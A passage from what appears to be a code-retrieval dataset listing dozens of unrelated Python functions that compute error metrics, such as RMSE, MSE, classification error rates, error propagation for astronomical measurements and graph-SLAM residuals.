np.sqrt(rmse_log.mean())\n\n abs_rel = np.mean(np.abs(gt - pred) / gt)\n\n sq_rel = np.mean(((gt - pred) ** 2) / gt)\n\n return abs_rel, sq_rel, rmse, rmse_log, a1, a2, a3","def errors_experiment(data, conf):\n\n mean = np.sum(data / conf ** 2) / np.sum(1 / conf ** 2)\n error = np.sum(1 / conf ** 2) ** (-1 / 2)\n error = max(error, np.max(conf))\n\n return mean, error","def error(self): \n if not self.terminal:\n err = sum([v**2 for v in self.state + self.q[:-1]])\n else:\n err = sum([v**2 for v in LIMITS[:9]] + [1.0 - LIMITS[9]**2])\n err *= (self.max_steps - self.steps)\n return err","def nzErr(xerr, yerr, vxerr, vyerr, year_x, year_y, mag, alnDir = '13_08_21/', chainsDir = 'efit/chains_S0-2_newRV2/'):\n\n #Read in values for error in position and velocity of sgr*\n origin_val = asciidata.open('/g/ghez/align/' + alnDir + chainsDir + 'efit_summary.txt')\n ori_x0e = origin_val[25][0]\n ori_y0e = origin_val[26][0]\n ori_vxe = origin_val[27][0]\n ori_vye = origin_val[28][0]\n t_0 = 2000.0 #hard coded t_0 of sgr*\n\n # magBins=np.array([9,11,12,13,14,15,16,17,18,19,20,21])\n # deltaArr=np.array([3.5,71.0,58.0,210.0,300.0,650.0,700.0,1100.0,1900.0,2200.0,3000.0])*1e-6\n\n# delta = mag*0.0\n# for i in range(len(mag)):\n# for j in range(len(deltaArr)):\n# if ((mag[i] > magBins[j]) & (mag[i] <= magBins[j+1])):\n# delta[i]=deltaArr[j]\n\n#pdb.set_trace()\n\n #Update errors\n xerr = np.sqrt(xerr**2 + ori_x0e**2 + ((year_x - t_0)*ori_vxe)**2)\n yerr = np.sqrt(yerr**2 + ori_y0e**2 + ((year_y - t_0)*ori_vye)**2)\n vxerr = np.sqrt(vxerr**2 + ori_vxe**2)\n vyerr = np.sqrt(vyerr**2 + ori_vye**2)\n\n return xerr, yerr, vxerr, vyerr","def _df_err(self):\n return self.n - self.k - 1","def error_rate(dataset, estimates):\n\tincorrect = 0.0\n\tcount = 0.0\n\n\tfor idx in range(len(estimates)):\n\t\testimate = estimates[idx]\n\t\t_, actual = dataset[idx]\n\t\tfor e, a in zip(estimate, actual):\n\t\t\tcount += 1.0\n\t\t\tif e != a:\n\t\t\t\tincorrect += 1.0\n\t\n\treturn incorrect / count","def error(self, X, y):\n ans = self.predict(X)\n return np.sum(np.logical_not(np.equal(ans,y))) / len(X)","def cps_err(self):\n return np.sqrt(self.totalcounts) / self.exptime","def get_error(deltas, sums, weights):\n \n print(deltas)\n print(sums)\n print(weights)\n print('===================================')\n \n # here goes your code\n A = weights.T.dot(deltas.T)\n print(A)\n B = sigmoid_prime(sums)\n print(B)\n \n print(A.shape)\n print(B.shape)\n C = A.T * B\n print(C)\n D = C.mean(axis=0)\n print(D)\n print(D.shape)\n \n return ((weights.T.dot(deltas.T)).T * sigmoid_prime(sums)).mean(axis=0)","def Error_estimation(params, qu=None, qu_err=None, p_maxL=None, par=False):\n \n if par is True:\n print('Estimate uncertainties for the parameters')\n sigma = par_err(params)\n return(sigma)\n elif qu is not None:\n N = len(qu[0,:])\n model_err = np.zeros((3, N))\n star_err = np.zeros((3,N))\n msg = 'Estimate model uncertainties'\n print(msg)\n if qu_err is None:\n print(' -> by varying the model')\n star_err[:-1,:] = np.std(QU_func(params, qu, star=True), axis=2)\n model_err[:-1,:] = np.std(QU_func(params, qu), axis=2)\n bkgr_err = np.std(background(params[N:,:]), axis=2) #?\n \n else:\n print('-> using data and parameters')\n err = par_err(params)\n s_ax = (p_maxL[:N]*qu_err)**2 + (qu*err[:N])**2\n s_b = np.array([(err[N:-1]*np.cos(2*p_maxL[-1]))**2 +\\\n (2*p_maxL[N:-1]*err[-1]*np.sin(2*p_maxL[-1]))**2,\\\n (err[N:-1]*np.sin(2*p_maxL[-1]))**2 +\\\n (2*p_maxL[N:-1]*err[-1]*np.sin(2*p_maxL[-1]))**2])\n model_err[:-1,:] = np.sqrt(s_ax + s_b)\n star_err[:-1,:] = np.sqrt(s_ax)\n bkgr_err = np.sqrt(s_b)\n star_err[-1,:] = np.sqrt(Cov(star_err[0,:], star_err[1,:]))\n model_err[-1,:] = np.sqrt(Cov(model_err[0,:], model_err[1,:]))\n return(model_err, star_err, bkgr_err)","def error(beta_0: float, beta_1: float, x_i: float, y_i: float) -> float:\n return predict(beta_0, beta_1, x_i) - y_i","def compute_error(data, user_features, item_features, nz):\n sum_err = 0\n for d, n in nz:\n err = data[d,n] - np.dot(item_features[d,:],user_features[:,n])\n sum_err += err**2\n rmse = 0.5*sum_err/len(nz)\n return rmse","def _computeError(self, inputs, targets):\n return .5*np.sum((targets-self._pcnfwd(inputs))**2)","def calc_error_amp(amp_pred, pdur, model):\n theta_pred = list(forward_pass(model, pdur, amp_pred))[0]\n return np.log(np.maximum(1e-10, (theta_pred - model.theta) ** 2))","def compute_global_error(g):\n Fx = 0\n for edge in g.edges:\n\n # pose-pose constraint\n if edge.Type == 'P':\n\n # compute idx for nodes using lookup table\n fromIdx = g.lut[edge.fromNode]\n toIdx = g.lut[edge.toNode]\n\n # get node state for the current edge\n x1 = g.x[fromIdx:fromIdx + 3]\n x2 = g.x[toIdx:toIdx + 3]\n\n # get measurement and information matrix for the edge\n z12 = edge.measurement\n info12 = edge.information\n\n # (TODO) compute the error due to this edge`\n z12 = v2t(z12)\n x1 = v2t(x1)\n x2 = v2t(x2)\n eij = t2v(np.linalg.inv(z12) @ np.linalg.inv(x1) @ x2)\n Fx = Fx + eij.transpose() @ info12 @ eij\n # pose-pose constraint\n elif edge.Type == 'L':\n print(\"You shouldn't be here.\")\n # compute idx for nodes using lookup table\n fromIdx = g.lut[edge.fromNode]\n toIdx = g.lut[edge.toNode]\n\n # get node states for the current edge\n x = g.x[fromIdx:fromIdx + 3]\n l = g.x[toIdx:toIdx + 2]\n\n # get measurement and information matrix for the edge\n z = edge.measurement\n info12 = edge.information\n\n # (TODO) compute the error due to this edge\n # TODO2 : do on homo matrices\n xtr = v2t(x)\n R = xtr[0:2, 0:2]\n eil = R.transpose() @ (l - x[0:2]) - z\n Fx = Fx + eil.transpose() @ info12 @ eil\n\n return Fx","def train_error(self):\n self.prediction = self.predict()\n pred = self.prediction.reshape(-1)\n self.error = np.sum(pred != self.label) / self.train_data.shape[0]\n return(self.error)","def __error(self, R, P, Q, K, beta):\n e = 0\n for i in xrange(len(R)):\n for j in xrange(len(R[i])):\n if R[i][j] > 0:\n\n # loss function error sum( (y-y_hat)^2 )\n e = e + pow(R[i][j]-numpy.dot(P[i,:],Q[:,j]), 2)\n\n # add regularization\n for k in xrange(K):\n\n # error + ||P||^2 + ||Q||^2\n e = e + (beta/2) * ( pow(P[i][k], 2) + pow(Q[k][j], 2) )\n return e","def error(self, X, y):\n predicted = self.predict(X)\n y = self.transformy(y)\n return 1 - (y == predicted).sum() / predicted.size","def _compute_errors(self):\n self.errors = np.sqrt(self.data)\n self.errors[self.errors == 0.] = 1.","def MeanSqError(self):\r\n\t\treturn self.mse","def calc_error(self):\n if self._fit_data.y is not None and self._fit_data.y_fit is not None:\n self._fit_data.error_vector = self._fit_data.y - self._fit_data.y_fit","def erreur(t, prediction):\n if np.isscalar(t):\n return (t-prediction)**2\n else:\n return np.mean((t-prediction)**2)","def dependent_error_exp(data, weak_signal_data, num_weak_signal):\n\n w_model = train_weak_signals(data, weak_signal_data, num_weak_signal)\n\n training_data = data['training_data'][0].T\n training_labels = data['training_data'][1]\n val_data, val_labels = data['validation_data']\n val_data = val_data.T\n test_data = data['test_data'][0].T\n test_labels = data['test_data'][1]\n\n num_features, num_data_points = training_data.shape\n\n weak_signal_ub = w_model['error_bounds']\n weak_signal_probabilities = w_model['probabilities']\n weak_test_accuracy = w_model['test_accuracy']\n\n weights = np.zeros(num_features)\n\n print(\"Running tests...\")\n\n optimized_weights, ineq_constraint = train_all(val_data, weights, weak_signal_probabilities, weak_signal_ub, max_iter=5000)\n\n # calculate test probabilities\n test_probabilities = probability(test_data, optimized_weights)\n # calculate test accuracy\n test_accuracy = getModelAccuracy(test_probabilities, test_labels)\n\n print(\"\")\n print(\"+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\")\n print(\"Experiment %d\"%num_weak_signal)\n print(\"We trained %d learnable classifiers with %d weak signals\" %(1, num_weak_signal))\n print(\"The accuracy of the model on the test data is\", test_accuracy)\n print(\"The accuracy of weak signal(s) on the test data is\", weak_test_accuracy)\n print(\"\")\n\n # calculate ge criteria\n print(\"Running tests on ge criteria...\")\n model = ge_criterion_train(val_data.T, val_labels, weak_signal_probabilities, num_weak_signal)\n ge_test_accuracy = accuracy_score(test_labels, np.round(probability(test_data, model)))\n print(\"The accuracy of ge criteria on test data is\", ge_test_accuracy)\n print(\"+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\")\n\n # calculate baseline\n print(\"Running tests on the baselines...\")\n baselines = runBaselineTests(val_data, weak_signal_probabilities)\n b_test_accuracy = getWeakSignalAccuracy(test_data, test_labels, baselines)\n print(\"The accuracy of the baseline models on test data is\", b_test_accuracy)\n print(\"\")\n\n output = {}\n output['ALL'] = test_accuracy\n output['WS'] = w_model['test_accuracy'][-1]\n output['GE'] = ge_test_accuracy\n output['AVG'] = b_test_accuracy[-1]\n\n return output","def computeErrorRate(test_sent, viterbi_tag_sequence):\n # initiate vars\n correct_predictions = 0\n total_predictions = 0\n correct_unknown_predictions = 0\n total_unknown_predictions = 0\n\n for j in range(len(test_sent)): # iterate tups in sent\n expectedTag = test_sent[j][1]\n actualTag = viterbi_tag_sequence[j]\n if actualTag == UNKNOWN_TAG:\n if expectedTag == UNKNOWN_TAG:\n correct_unknown_predictions += 1\n total_unknown_predictions += 1\n else:\n if actualTag == expectedTag:\n correct_predictions += 1\n total_predictions += 1\n\n err_rate_known = 1 - correct_predictions/total_predictions\n if total_unknown_predictions == 0:\n err_rate_unknown = 0\n else:\n err_rate_unknown = 1 - correct_unknown_predictions/total_unknown_predictions\n\n tot_pred = total_predictions + total_unknown_predictions\n corr_pred = correct_predictions + correct_unknown_predictions\n total_err = 1 - corr_pred/tot_pred\n\n return err_rate_known, err_rate_unknown, total_err","def _ms_err(self):\n return self._ss_err / self._df_err","def error(b, m, x_data):\n\n totalError = 0\n for i in range(0, len(x_data)):\n x = x_data[i]\n y = 2 * x_data[i] + 50 + 5 * np.random.random()\n\n totalError += (y - (m * x + b)) ** 2 # total error of gradient\n\n return totalError / float(len(x_data))","def calc_error(y_real, y_pred):\n if len(y_real) > 0:\n curr_err = rmse(y_pred, y_real)\n else:\n curr_err = np.nan\n return curr_err","def calc_error(datasample,boots_num):\r\n mse_list=[]\r\n datasample=df_to_array(datasample)\r\n for i in range(boots_num):\r\n boots_indexs,missing_indexs=bootstrapping(datasample)\r\n \r\n boostrapped_data=datasample[boots_indexs][0]\r\n \r\n boots_outsample_data=datasample[missing_indexs]\r\n \r\n\r\n # Train the model \r\n rf_kernal=Model_Train(boostrapped_data)\r\n \r\n # Test the model\r\n test_features=boots_outsample_data[:,:-1]\r\n test_labels=boots_outsample_data[:,-1]\r\n pred=rf_kernal.predict(test_features)\r\n \r\n \r\n # Can change to MAE, MSE\r\n \r\n me=np.mean(pred-test_labels)\r\n #mse=np.mean((pred-train_labels)**2)\r\n #mae=np.mean(np.abs(pred-train_labels))\r\n \r\n mse_list.append(me)\r\n print('Estimated Out of Sample Error=%f'%(np.mean(mse_list)))\r\n return np.mean(mse_list)","def compute_error(y_true, y_pred):\r\n\r\n # INSERT YOUR CODE HERE\r\n \r\n n = len(y_true)\r\n err = [y_true[i] != y_pred[i] for i in range(n)]\r\n return sum(err) / n\r\n \r\n raise Exception('Function not yet implemented!')","def _calculate_anisoplatanism_error(self):\n\n self.sigma_anisoplatanism = np.sqrt((self.science_object_separation/self.isoplanatic_angle)**(5/3))*(self.parameter_wavelength /(2*np.pi))","def error(self, y_predicted, y):\n errors = []\n for i in range(y.size): \n errors.append((y[i]-y_predicted[i]) ** 2)\n return mean(errors)","def ssq_error(correct, estimate):\n assert correct.ndim == 2\n if np.sum(estimate ** 2) > 1e-5:\n alpha = np.sum(correct * estimate) / np.sum(estimate ** 2)\n else:\n alpha = 0.\n return np.sum((correct - alpha * estimate) ** 2)","def error(y_pred, y_true):\n m = len(y_true) # number of samples\n error = np.sum( (y_pred - y_true)**2 )/m\n return error","def error_function(x):\n T = [9.60497373987051638749E0,\n 9.00260197203842689217E1,\n 2.23200534594684319226E3,\n 7.00332514112805075473E3,\n 5.55923013010394962768E4]\n U = [3.35617141647503099647E1,\n 5.21357949780152679795E2,\n 4.59432382970980127987E3,\n 2.26290000613890934246E4,\n 4.92673942608635921086E4]\n\n if np.abs(x) > 1.0:\n return 1.0 - error_function_complemented(x)\n else:\n z = x * x\n y = x * pol_evl(z, T, 4) / p1_evl(z, U, 5)\n return y","def calculate_error(self):\n self.network.index_nodes()\n self._calculate_dist()\n _, relative_error = self._relative_error()\n _, absolute_error = self._absolute_error()\n\n return absolute_error, relative_error","def hf_error(A, hf_energies, cardinals, alpha):\n hf_x, hf_y = hf_energies\n cardinal_x, cardinal_y = cardinals\n error_x = ((A * exp(-alpha * sqrt(cardinal_x))) - hf_x)\n error_y = ((A * exp(-alpha * sqrt(cardinal_y))) - hf_y)\n error = error_y - error_x\n return error","def ivrmse(self):\n return (self.model_error_iv()**2).mean()**.5","def mbe(self) -> float:\n return float(np.mean(self._error(self.true, self.predicted)))","def error_values(X_train,X_test,Y_train,Y_test):\n #setting up parameters and variables for plotting \n n_train = X_train.shape[0]\n n_test = X_test.shape[0]\n d = X_train.shape[1]\n hdnode = 100\n w1 = np.random.normal(0,0.001,d*hdnode).reshape((d,hdnode))\n d1 = np.zeros((d,hdnode))\n w2 = np.random.normal(0,0.001,hdnode).reshape((hdnode,1))\n d2 = np.zeros(hdnode)\n h = np.zeros(hdnode)\n mb = 100 #minibatch size\n m = int(n_train/mb)\n batch = np.arange(m) \n lr = 0.00020\n EP = 20000 #needed for initializing \n ep = 0\n yh = np.zeros((n_train,1))\n yh2 = np.zeros((n_test,1))\n L_train= np.zeros(EP+1)\n L_test = np.zeros(EP+1)\n Y_train = Y_train.reshape(len(Y_train),1)\n #activation function for the hidden layer is tanh\n \n def g(A):\n return (np.tanh(A))\n\n def gd(A):\n return (1-np.square(np.tanh(A)))\n \n #setting up how long the epoch will run\n EP = 200\n ep = 0\n while ep < EP:\n ep += 1\n yh = g(X_train.dot(w1)).dot(w2)\n yh2 = g(X_test.dot(w1)).dot(w2)\n L_train[ep] = LA.norm(yh-Y_train.reshape(len(Y_train),1))/n_train\n L_test[ep] = LA.norm(yh2-Y_test.reshape(len(Y_test),1))/n_test\n \n np.random.shuffle(batch)\n for i in range(m):\n st = batch[i]*mb\n ed = (batch[i]+1)*mb\n h = g(X_train[st:ed].dot(w1))\n y = h.dot(w2)\n d2 = h.T.dot(Y_train[st:ed]-y)\n d1 = X_train[st:ed].T.dot(np.multiply((Y_train[st:ed]-y).dot(w2.T),gd(X_train[st:ed].dot(w1))))\n w2 += lr*d2\n w1 += lr*d1\n return yh, yh2","def reserrorcalc(test_set, model):\n # Extracting X\n X = test_set[:,:-1]\n\n # Extracting labels\n Y = test_set[:,-1]\n residual_err = sum((model.predict(X) - Y) ** 2)\n return residual_err","def _compute_error(self,expected_out,actual_out,error_func):\n\n error = error_func(expected_out,actual_out)\n return error","def expected_error(noise_param, states):\n\n from math import comb\n import preferences\n\n comparison_errors = [\n preferences.comparison_error(\n state / states,\n noise_param\n )\n for state in range(1, states)\n ]\n\n n_choose_2 = comb(states, 2)\n\n expected_error = 0.0\n for i, p in enumerate([(states - x)/n_choose_2 for x in range(1, states)]):\n expected_error += p * comparison_errors[i]\n\n return round(expected_error, 3)","def rms_error(self, X, y) :\n ### ========== TODO : START ========== ###\n # part h: compute RMSE\n n, d = X.shape\n error = np.sqrt(self.cost(X,y)/n)\n ### ========== TODO : END ========== ###\n return error","def error_rate(error_total, tokens):\n if len(tokens) > 0:\n return(float(\"{0:.3f}\".format(error_total/len(tokens))))\n else:\n return(np.nan)","def SARIMAX_error(series, p=10, d=2, q=2):\n\n X = series\n\n # set trainset to include all but last 48 months (4 years)\n # only training on data between 9-4 years ago\n train_size = int(len(X) - 48)\n train, test = X[-108:train_size], X[train_size:]\n\n model = SARIMAX(train, order=(p, d, q), freq='MS',\n initialization='approximate_diffuse')\n\n results = model.fit()\n\n # Predict 48 months from end of train set\n forecast = results.get_forecast(steps=48)\n pred_ci = forecast.conf_int(alpha=.05)\n\n predictions = forecast.predicted_mean\n\n rmse = RMSE(test, predictions)\n # pct = error_as_pct(rmse, train[-1], test[-1])\n\n return pred_ci, rmse, (train[-1], test[-1]) # , pct","def mse(self):\n xs, ys = self.R.nonzero()\n predicted = self.full_matrix()\n error = 0\n for x, y in zip(xs, ys):\n # print(predicted[x, y], self.R[x, y] )\n error += pow(self.R[x, y] - predicted[x, y], 2)\n return np.sqrt(error)","def calc_error(self, data):\n errors = np.zeros(data.shape)\n\n # Values below minimum lidar distance are ascribed the minimum error\n errors[data <= self.min_error_dist] = self.min_error\n\n # Values above minimum have erros calculated by proportion of their value\n errors[data > self.min_error_dist] = data[data > self.min_error_dist] * self.error_prop\n return errors","def calculate_error(self, estimated_x, estimated_y):\n\n return np.sqrt((self.ball_x - estimated_x) ** 2 + (self.ball_y - estimated_y) ** 2)","def model_error(self):\n return self.premium() / self.data['premium'] - 1","def error_func(x, a0, a1, a2, a3):\n return (a0 / 2) * sp.special.erfc((a1 - x) / a2) + a3","def volume_error(self) -> float:\n # TODO written formula and executed formula are different.\n ve = np.sum(self.predicted - self.true) / np.sum(self.true)\n return float(ve)","def get_error_rates():\n return [ERR_RT * i for i in range(int((1 / ERR_RT) / 4))] # error up to 25%","def error(clf, X, y, ntrials=100, t_s=0.2) :\n \n ### ========== TODO : START ========== ###\n # compute cross-validation error over ntrials\n # hint: use train_test_split (be careful of the parameters)\n \n train_error = 0\n test_error = 0 \n for i in range(ntrials):\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=t_s, random_state=i)\n clf.fit(X_train, y_train)\n y_pred_train = clf.predict(X_train)\n y_pred_test = clf.predict(X_test)\n train_error += (1 - metrics.accuracy_score(y_train, y_pred_train, normalize=True))\n test_error += (1 - metrics.accuracy_score(y_test, y_pred_test, normalize=True))\n train_error /= ntrials\n test_error /= ntrials \n ### ========== TODO : END ========== ###\n \n return train_error, test_error","def tracking_error(benchmark_returns_by_date, etf_returns_by_date):\n series_ret=(etf_returns_by_date)-(benchmark_returns_by_date)\n stdev=series_ret.std()\n Tracking_error=np.sqrt(252)*stdev\n assert benchmark_returns_by_date.index.equals(etf_returns_by_date.index)\n \n #TODO: Implement function\n\n return Tracking_error","def calculate_td_error(self, old_state, new_state, reward):\n\n output = self.net(self.state_tensor_convert(old_state))\n target = self.gamma * self.net(self.state_tensor_convert(new_state)) + reward\n self.loss = self.net.loss(output,target)\n return float(target-output)","def error(self, X, y):\n y_hat = self.predict(X)\n y = np.array(y)\n return sum(y[i] != y_hat[i] for i in range(len(y))) / len(y)","def error_in_assigned_energy(predictions, ground_truth):\n errors = {}\n both_sets_of_meters = iterate_through_submeters_of_two_metergroups(\n predictions, ground_truth)\n for pred_meter, ground_truth_meter in both_sets_of_meters:\n sections = pred_meter.good_sections()\n ground_truth_energy = ground_truth_meter.total_energy(sections=sections)\n predicted_energy = pred_meter.total_energy(sections=sections)\n errors[pred_meter.instance()] = np.abs(ground_truth_energy - predicted_energy)\n return pd.Series(errors)","def relative_error(Eth_original, Eph_original,Eth_model, Eph_model,theta, phi, dsf=1,kf=-1):\n\n st = np.sin(theta).reshape((len(theta), 1))\n #\n # Construct difference between reference and reconstructed\n #\n if kf!=-1:\n dTh = (Eth_model[kf, :, :] - Eth_original[kf, ::dsf, ::dsf])\n dPh = (Eph_model[kf, :, :] - Eph_original[kf, ::dsf, ::dsf])\n #\n # squaring + Jacobian\n #\n dTh2 = np.real(dTh * np.conj(dTh)) * st\n dPh2 = np.real(dPh * np.conj(dPh)) * st\n\n vTh2 = np.real(Eth_original[kf, ::dsf, ::dsf] \\\n * np.conj(Eth_original[kf, ::dsf, ::dsf])) * st\n vPh2 = np.real(Eph_original[kf, ::dsf, ::dsf] \\\n * np.conj(Eph_original[kf, ::dsf, ::dsf])) * st\n\n mvTh2 = np.sum(vTh2)\n mvPh2 = np.sum(vPh2)\n\n errTh = np.sum(dTh2)\n errPh = np.sum(dPh2)\n else:\n dTh = (Eth_model[:, :, :] - Eth_original[:, ::dsf, ::dsf])\n dPh = (Eph_model[:, :, :] - Eph_original[:, ::dsf, ::dsf])\n #\n # squaring + Jacobian\n #\n dTh2 = np.real(dTh * np.conj(dTh)) * st\n dPh2 = np.real(dPh * np.conj(dPh)) * st\n\n vTh2 = np.real(Eth_original[:, ::dsf, ::dsf] \\\n * np.conj(Eth_original[:, ::dsf, ::dsf])) * st\n vPh2 = np.real(Eph_original[:, ::dsf, ::dsf] \\\n * np.conj(Eph_original[:, ::dsf, ::dsf])) * st\n\n mvTh2 = np.sum(vTh2)\n mvPh2 = np.sum(vPh2)\n\n errTh = np.sum(dTh2)\n errPh = np.sum(dPh2)\n\n errelTh = (errTh / mvTh2)\n errelPh = (errPh / mvPh2)\n errel =( (errTh + errPh) / (mvTh2 + mvPh2))\n\n return(errelTh, errelPh, errel)","def calculateErrorRate(numCorrect, numWrong):\n return np.round((numWrong)/(numCorrect+numWrong),3)","def error_rate(self):\n\n\t\treturn theano.tensor.mean(theano.tensor.neq(\n\t\t\tself.get_symbolic_predicted_labels(),\n\t\t\tself.symbolic_output))","def __error(self,node_set):\n error=0\n for n in node_set:\n if(n.seq_num!=0):\n error+=LA.norm(n.node_vol-node_set[n.neighbor.parent].node_vol-n.impedance*n.branch_cur)\n #print n.node_vol, '\\n', node_set[n.neighbor.parent].node_vol\n \n return error","def error_function(\n actual_heating_rates_k_day01, predicted_hr_matrix_k_day01,\n use_example_flags):\n\n mean_pred_heating_rates_k_day01 = numpy.mean(\n predicted_hr_matrix_k_day01[use_example_flags, :], axis=-1\n )\n\n weights_k_day01 = numpy.maximum(\n numpy.absolute(mean_pred_heating_rates_k_day01),\n numpy.absolute(actual_heating_rates_k_day01[use_example_flags])\n )\n squared_errors = (\n mean_pred_heating_rates_k_day01 -\n actual_heating_rates_k_day01[use_example_flags]\n ) ** 2\n\n return numpy.mean(weights_k_day01 * squared_errors)","def numerical_discretization_error(h,phi,verbose=True):\n \n # Constants\n F_s = 1.25\n C_low = 0.95\n C_hi = 3.05\n delta_M = max(abs(phi[1]-phi[0]),abs(phi[2]-phi[1]),abs(phi[2]-phi[0]))\n \n # Mesh refinement ratios\n r21 = h[1]/h[0]\n r32 = h[2]/h[1]\n \n # Result ratios\n eps21 = phi[1] - phi[0]\n eps32 = phi[2] - phi[1]\n \n error = {}\n \n # Check for oscillatory convergence\n if eps32/eps21 < 0.0:\n if verbose:\n print(\"WARNING: Oscillatory convergence\")\n error[\"Computed apparent order\"] = 'NA'\n error[\"Relative fine-grid error\"] = abs((phi[0]-phi[1])/phi[0])\n error[\"Extrapolated value\"] = 'NA'\n error[\"Extrapolated relative fine-grid error\"] = 'NA'\n error[\"Fine-grid convergence index\"] = 'NA'\n error[\"Fine-grid convergence index, Corrected\"] = 3.0*delta_M/abs(phi[0])\n error[\"Error Code\"] = 1\n return error\n \n # Solve for apparent order\n p = fsolve(order_function,2,(r32,r21,eps32,eps21))\n p = p[0]\n \n # ASME Guidelines\n \n error[\"Computed apparent order\"] = p\n error[\"Relative fine-grid error\"] = abs((phi[0]-phi[1])/phi[0])\n error[\"Extrapolated value\"] = (phi[0]*r21**p - phi[1])/(r21**p-1)\n error[\"Extrapolated relative fine-grid error\"] = abs((error[\"Extrapolated value\"]-phi[0])/error[\"Extrapolated value\"])\n error[\"Fine-grid convergence index\"] = F_s*error[\"Relative fine-grid error\"]/(r21**p - 1)\n error[\"Error Code\"] = 0\n \n # Extension to ASME Guidelines as presented in https://turbmodels.larc.nasa.gov/uncertainty_summary.pdf\n \n if p < 0.0:\n if verbose:\n print(\"WARNING: Negative apparent order\")\n error[\"Fine-grid convergence index, Corrected\"] = 3.0*delta_M/abs(phi[0])\n error[\"Error Code\"] = 2\n \n if p < C_low and p > 0.0:\n if verbose:\n print(\"WARNING: Apparent order is less than \" + str(C_low))\n error[\"Fine-grid convergence index, Corrected\"] = min(error[\"Fine-grid convergence index\"],F_s*delta_M/abs(phi[0]))\n error[\"Error Code\"] = 3\n elif p > C_hi:\n if verbose:\n print(\"WARNING: Apparent order is greater than \" + str(C_hi))\n error[\"Fine-grid convergence index, Corrected\"] = min(F_s*error[\"Relative fine-grid error\"]/(r21**C_hi - 1),F_s*delta_M/abs(phi[0]))\n error[\"Error Code\"] = 4\n \n return error","def error_MSE(resid):\n if resid.ndim == 2:\n return (norm(np.asarray(resid).ravel())**2)/float(resid.shape[1])\n elif resid.ndim == 1:\n return (norm(np.asarray(resid).ravel())**2)\n else:\n raise Exception(\"array passed to error_MSE has incorrect shape\")","def inrse(self) -> float:\n return float(np.sqrt(np.sum(np.square(self._error())) / np.sum(np.square(self.true - np.mean(self.true)))))","def renormalize_test12_error_corrected_input(k, N, s,v, ds, dv):\n\n cprint(__name__ + f'.renormalize_test12_error_corrected_input: \\n', 'yellow')\n print(f'specificity s: {s:0.6} +- {ds:0.6e} [{ds/s*100:0.3e}] %')\n print(f'sensitivity v: {v:0.6} +- {dv:0.6e} [{dv/v*100:0.3e}] %')\n print('')\n \n # -------------------------------------------\n # Compute the prevalance\n p = k / N\n\n # Pure binomial Wilson error on this rate\n err = wilson_err(k=k, n=N, z=1)\n dp_orig = (err[1] - err[0])/2 # Turn into one sigma equivalent\n\n print(f'p = {k} / {N} = {p:0.5f}')\n print(f'dp_orig = {dp_orig:0.5f} [relative dp_orig/p = {dp_orig/p:0.5f}]')\n\n # -------------------------------------------\n # Do the type I and II error inversion\n\n # Compute backwards: find out the corresponding raw rate\n q = inv_cor2raw(p=p, s=s, v=v)\n err = wilson_err(k=np.round(q*N), n=N, z=1)\n dq = (err[1] - err[0])/2 # Turn into one sigma equivalent\n\n # Propagate errors\n dp_new = inv_p_error(q=q,s=s,v=v, dq=dq,ds=ds,dv=dv)\n\n print(f'q = {np.round(q*N)} / {N} = {q:0.5f}')\n print(f'dq = {dq:0.5f} [relative dq/q = {dq/q:0.5f}]')\n print(f'dp_new = {dp_new:0.5f} [relative dp_new/p = {dp_new/p:0.5f}] (after error propagation)')\n print(f' => Relative increases in 1-sigma error ')\n print(f' (dp_new - dp_orig) / p = {(dp_new - dp_orig)/p * 100:0.1f} %')\n print(f' (dp_new / dp_orig - 1) = {(dp_new / dp_orig-1) * 100:0.1f} %')\n print(f' sqrt[(dp_new/p)^2 - (dp_orig/p)^2] = {np.sqrt((dp_new/p)**2 - (dp_orig/p)**2) * 100:0.1f} %')\n print('\\n')\n\n return dp_new, dp_orig","def med_seq_error(self) -> float:\n return float(np.median((self.predicted - self.true) ** 2))","def mae(t, y):\n\treturn mean_absolute_error(t, y)","def average_error_to_weight(error):\r\n return error ** (-2)","def compare_error_bounds( model_fname, log_fname, delta = 0.1 ):\n gmm = GaussianMixtureModel.from_file( model_fname )\n k, d, M, w = gmm.k, gmm.d, gmm.means, gmm.weights\n\n P, T = exact_moments( M, w )\n\n lg = sc.load( log_fname )\n\n # TODO: Use concentration bounds on aerr_P12\n n_M, sk_M = lg[\"norm_M_2\"], lg[\"s_k_M\"], \n e_P, e_T = lg[\"aerr_P_2\"], lg[\"aerr_T\"], \n n_P, sk_P, n_T = lg[\"norm_Pe_2\"], lg[\"s_k_P\"], lg[\"norm_Te\"]\n w_min = min(w)\n\n # TODO: Ah, not computing sigma2! \n\n # alpha_P and \\beta_P\n a_P = e_P/sk_P\n b_P = a_P/(1-a_P)\n\n e_Wb = 2/sqrt(sk_P) * b_P\n e_W = lg[\"aerr_W_2\"]\n\n e_Twb = 1/sqrt(sk_M * (1-a_P)) * e_T + n_T/sk_M * (1 + 1/sqrt(1-a_P) + 1/(1-a_P)) * e_W\n e_Tw = lg[\"aerr_Tw\"]\n\n e_Lb = e_Tw\n e_L = lg[\"aerr_lambda\"]\n\n D_M = column_sep( M )\n D_Tw = delta/(sqrt(sc.e) * k**2 * (1+sqrt(2 * log(k/delta)))) * D_M\n e_vb = 4 * sqrt(2) * e_Tw / D_Tw\n e_v = lg[\"aerr_v_col\"]\n\n e_Wtb = 2 * sqrt( n_P + e_P ) * b_P\n n_Wtb = sqrt( n_P + e_P )\n\n e_mub = e_Lb + (1+1/sqrt(w_min)) * n_Wtb * e_vb + e_Wtb\n e_mu = lg[\"aerr_M_col\"]\n\n print \"A\\t\\tbound\\t\\tactual\"\n print \"W\\t\\t%f\\t\\t%f\" % (e_Wb, e_W)\n print \"Tw\\t\\t%f\\t\\t%f\" % (e_Twb, e_Tw)\n print \"L\\t\\t%f\\t\\t%f\" % (e_Lb, e_L)\n print \"v\\t\\t%f\\t\\t%f\" % (e_vb, e_v)\n print \"mu\\t\\t%f\\t\\t%f\" % (e_mub, e_mu)\n return [(e_W/e_Wb), (e_Tw/e_Twb), (e_L / e_Lb), (e_v/e_vb), (e_mu / e_mub),]","def yerr(self, i):\n return self.errors[1][i]","def error_j(Dj,Pap,Pec,QBERI,exp_loss_jt):\n return Pec + (0.5*Pap*Dj) + QBERI*(1 - exp_loss_jt)","def evaluation_error(y_real, y_pred, max_rating, min_rating):\n mae = mean_absolute_error(y_real, y_pred)\n nmae = normalized_mean_absolute_error(y_real, 